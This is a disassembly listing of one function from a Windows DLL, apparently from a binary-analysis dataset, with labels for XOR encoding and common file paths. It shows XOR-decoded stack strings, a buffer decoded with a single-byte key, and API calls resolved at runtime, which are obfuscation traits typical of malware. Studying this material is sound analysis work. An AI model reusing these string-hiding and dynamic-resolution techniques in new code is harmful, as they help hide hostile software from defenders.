Function at 0x180007f34
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xc78]
sub rsp, 0xd50
mov rsi, rcx
call fcn.1800042a4
mov rdx, qword [rsi + 0x30]
mov rcx, rsi
mov r14, rax
mov rdi, qword [rax + 0x28]
call rdx
mov r8, qword [rsi + 0x38]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call r8
mov r8d, ebx
mov rdx, rax
mov rcx, r14
call rdi
mov rcx, rsi
call fcn.180004324
xor eax, eax
lea rdx, [rsp + 0x70]
xorps xmm0, xmm0
mov qword [rbp - 0x70], rax
mov rcx, r14
movups xmmword [rsp + 0x70], xmm0
lea r8d, [rax + 0x28]
movups xmmword [rbp - 0x80], xmm0
call qword [r14 + 0x20]
mov esi, 0xa88
lea rcx, [rbp + 0x1c0]
mov r8d, esi
xor edx, edx
call sub.ntdll.dll_memset
movzx eax, word [0x180035268]
lea rcx, [rbp + 0x1c0]
mov rdx, qword [0x1800352a0]
mov word [rbp + 0x2c0], ax
call qword [sym.imp.KERNEL32.DLL_lstrcatA]
cmp dword [0x180035284], 0
lea rdx, [rsp + 0x30]
movabs rbx, 0x6bc1629f3926102c
lea rcx, [rbp + 0x2c2]
mov qword [rsp + 0x38], rbx
movabs rdi, 0xb1f5694e331e1997
mov qword [rsp + 0x58], rbx
je 0x180008047
mov qword [rsp + 0x30], rdi
movabs rax, 0xb1f5691e335d19c3
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x50]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
jmp 0x180008070
movabs rax, 0xb1f5691e335a19c2
mov qword [rsp + 0x50], rdi
movdqa xmm1, xmmword [rsp + 0x50]
mov qword [rsp + 0x30], rax
movups xmm0, xmmword [rsp + 0x30]
pxor xmm1, xmm0
movdqa xmmword [rsp + 0x30], xmm1
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov rax, qword [r14 + 0x38]
xor edx, edx
mov rcx, r14
call rax
mov rdx, qword [r14 + 0x30]
mov rcx, r14
mov r15, rax
call rdx
mov r13d, eax
xor ecx, ecx
xor byte [rbp + rcx + 0x1c0], 0x3a
inc rcx
cmp rcx, rsi
jl 0x180008092
lea rcx, [r13 - 0xa8c]
mov r8, rsi
add rcx, r15
lea rdx, [rbp + 0x1c0]
call qword [sym.imp.ntdll.dll_memcpy]
and qword [rbp + 0xc80], 0
call fcn.18000bb14
mov rcx, r15
mov rsi, rax
mov rdx, qword [rax + 0x38]
call rdx
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x200
mov r12d, eax
call sub.ntdll.dll_memset
cmp r12d, 0x20
jne 0x180008199
lea edx, [r12 + 0x44]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
test eax, eax
jne 0x18000810c
call qword [sym.imp.KERNEL32.DLL_GetLastError]
movabs rax, 0xc935ac473cdbee1
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x30]
movabs rax, 0xb1866937336d19cb
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x30], rax
lea rcx, [rbp - 0x40]
movabs rax, 0x6bf762e83949105b
movabs r12, 0x9ead7275034fe1de
mov qword [rsp + 0x38], rax
movabs rax, 0xc935ac473cdbed5
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r12
movups xmm1, xmmword [rsp + 0x40]
mov qword [rsp + 0x68], r12
pxor xmm0, xmmword [rsp + 0x50]
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
jmp 0x1800081c2
cmp r12d, 0x40
jne 0x1800081b8
lea edx, [r12 + 0x24]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x1800081b8
call qword [sym.imp.KERNEL32.DLL_GetLastError]
movabs r12, 0x9ead7275034fe1de
mov qword [rsp + 0x48], r12
lea rdx, [rsp + 0x30]
movabs rax, 0xc935ac473cdbee1
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rax
lea rcx, [rbp - 0x40]
movabs rax, 0xb1996922337a19cb
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x30], rax
movabs rax, 0x6bb562ec39491044
mov qword [rsp + 0x38], rax
movabs rax, 0xcf65abc73a8becf
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x40], rax
movups xmm1, xmmword [rsp + 0x40]
mov qword [rsp + 0x68], r12
pxor xmm0, xmmword [rsp + 0x50]
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
movabs rcx, 0xc935ac473cdbee1
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rcx
movabs rax, 0xd2b41d2b744d4dc0
mov qword [rsp + 0x30], rax
movabs rax, 0x18af0ddc5c507958
mov qword [rsp + 0x38], rax
movabs rax, 0x65e029a120a8d28e
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x40], rax
movabs rax, 0x9ead727567068fb1
mov qword [rsp + 0x48], rax
movabs rax, 0xb19b693c337b19fc
movups xmm1, xmmword [rsp + 0x40]
mov qword [rsp + 0x30], rax
movabs rax, 0x6bf362ac394a1049
mov qword [rsp + 0x38], rax
movabs rax, 0xcff5aa873a9becf
mov qword [rsp + 0x58], rbx
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x68], r12
pxor xmm1, xmmword [rsp + 0x60]
mov qword [rsp + 0x40], rax
movdqa xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], r12
movdqa xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [rsp + 0x40]
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x68], r12
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov rcx, rax
lea rdx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
test rax, rax
je 0x180008348
call rax
test eax, eax
jne 0x18000834d
mov eax, 1
lea rcx, [rbp + 0xc80]
mov r9d, eax
mov qword [rsp + 0x20], rcx
mov r8d, r13d
lea rcx, [rbp - 0x40]
mov rdx, r15
call qword [rsi + 0x18]
mov rcx, r14
call fcn.180004324
mov rcx, rsi
call fcn.18000bc88
lea r11, [rsp + 0xd50]
xor eax, eax
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret